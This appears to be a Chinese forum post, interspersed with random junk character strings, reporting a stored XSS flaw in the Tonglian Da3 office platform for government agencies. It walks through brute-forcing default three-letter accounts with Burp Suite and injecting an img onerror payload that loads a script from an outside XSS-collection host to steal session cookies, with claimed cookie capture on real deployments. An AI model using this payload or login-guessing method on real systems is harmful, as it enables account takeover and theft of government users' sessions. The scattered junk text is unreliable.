同联Da3协同办公平台后台通用储存型xss漏洞

admin

& n' ~# V2 m9 O& Y i 3 H# ~* Q$ _. v/ m1 p. d , u* X5 b: d% Q5 r6 y ]3 s / a# ~5 g- v0 S$ i . ]$ @$ k2 a: a" S5 _4 d 6 {6 G4 |. K C8 E6 \ ' _- S( W8 @" ]/ M3 J 0 y* V: a0 k3 M- @ % G) ~" p$ E6 u: q0 f- ^

" O# m5 K& h8 L, I; N 同联Da3协同办公平台后台通用储存型xss漏洞

5 R4 D. h! G4 f5 a

平台简介：

 

: c) K. r l7 Z# M$ A

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ 1 r# C, j: q$ P) V4 E a

/ G4 h! n) P2 e) h" k4 Y4 \ ^

: `7 }) A% a* w, l. W# y  

3 j! T2 g9 M: i4 R# e/ B 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

9 n+ V, X* c% W+ C+ y4 a

  : q- X+ j/ y+ n' x' v+ n

+ i. E( P$ X: d/ A+ @

/ ]6 K' h, `* ]6 i. z$ |# V http://1.1.1.1:7197/cap-aco/#（案例2-）

* e ~ m' C6 u$ {, a http://www.XXOO.com （案例1-官网网站） 8 J+ @3 Q/ @- \! p" A# ]

漏洞详情: ; z0 {/ q) g- |0 ~" O9 E$ z

4 |& A, z$ e: N7 a" ?  案例一、 % v0 F; H! t7 a2 ? q8 F

8 |3 {% g. Z2 n6 O 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 . Z- t- [( V- i P4 W$ v; o& l

- r. l% t4 |7 C' e& X

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： 9 Y# k; s8 Y( e- Z2 l! d3 m( H

6 _6 U$ T( H+ R; Q/ |

; @2 R$ ]7 R) D: ^$ o- Z3 H  

; M2 t2 h6 l, l0 H5 g

! Z) j( o1 G: e2 ?" l* m0 ?1 x status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

8 `# ?4 M, X* W' Y- H+ T6 {+ K& x   4 ]2 Q# ^( A" ^! T+ X& s

' g l3 [- ], X7 k( \" m

: D) L6 B2 v7 Y) ~% |$ T2 S. L+ I

. J: s/ e" E$ C# ^' C

8 _) u% I* E$ p/ C1 O" l) w 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

@' M% V& c/ c$ c( |  

4 U+ ^0 ?. c5 i* e; } M

7 q4 }* ], e* P/ m <img src=x ' o/ y! e q: F* i/ z" C$ P9 Aonerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： 0 c2 \; _, P) g# G$ c

* u6 M+ T, p$ ^/ `% A, k

! j* y* h; w9 f& M8 |& c+ N9 o; z 然后发送，接收cookie如图： 9 N# O) R: z9 q/ O7 N, M& q/ v

/ T5 r. z! A: i& P" C7 U0 ^

. a/ l5 o5 z$ H% f3 Z" f( X% m+ m   9 r; F$ K( s9 w5 K) o4 m$ E

6 O+ r p( S0 A  

6 y6 E4 e& J( E6 w0 `% ?   2 f! [% U9 b) ^8 ~& J; o

( [- B }. r# a! g8 w" w b

; `3 C, `( [2 y! b0 I6 f  

' O! Q5 A! T; U9 g

* S5 e$ @: R) \" D 4 d% f2 G8 E" k q U4 p3 i; }% }

5 l7 O# t/ ^7 ^3 Q P! g3 f. X

o+ `1 K; M1 k, Y( t- d, m

* ^5 ~0 Y, ^9 g3 y& D2 l% _, N) k  

5 \; @& I) ?1 P% \! H" S8 ?

3 b e- b7 W; B6 }. A) G7 e 案例2、 1 ~6 z5 j( n1 s

2 V$ S0 z' _5 y, x: ~6 M9 H: X

前面步骤都一样，下面看效果图： * r; _* v8 X6 R7 V0 ~" O- j5 R8 j2 ?( G

# U- k u3 n4 ~* Y- T

. Y' a. D5 ]7 _& Z. a# \

2 \2 J- ` X+ ~* B2 I2 ^

 

6 M# I4 e5 v" `& ~

 

9 K7 @5 S/ L- \( x/ Z) o* o

  1 x( \; q+ X* f1 s

0 Q7 ^1 J" j# }$ q, w2 z2 u6 r

( i2 n6 x% @* S8 U  

& R! u: C1 P Y2 c

6 B( [* p: `4 s! {   ! M& |, Y9 \& v8 C; t, P

2 w# }! b7 C& u6 |& ]

6 z- o7 y3 ?9 s6 o# x/ Y8 b" U8 A$ M8 ]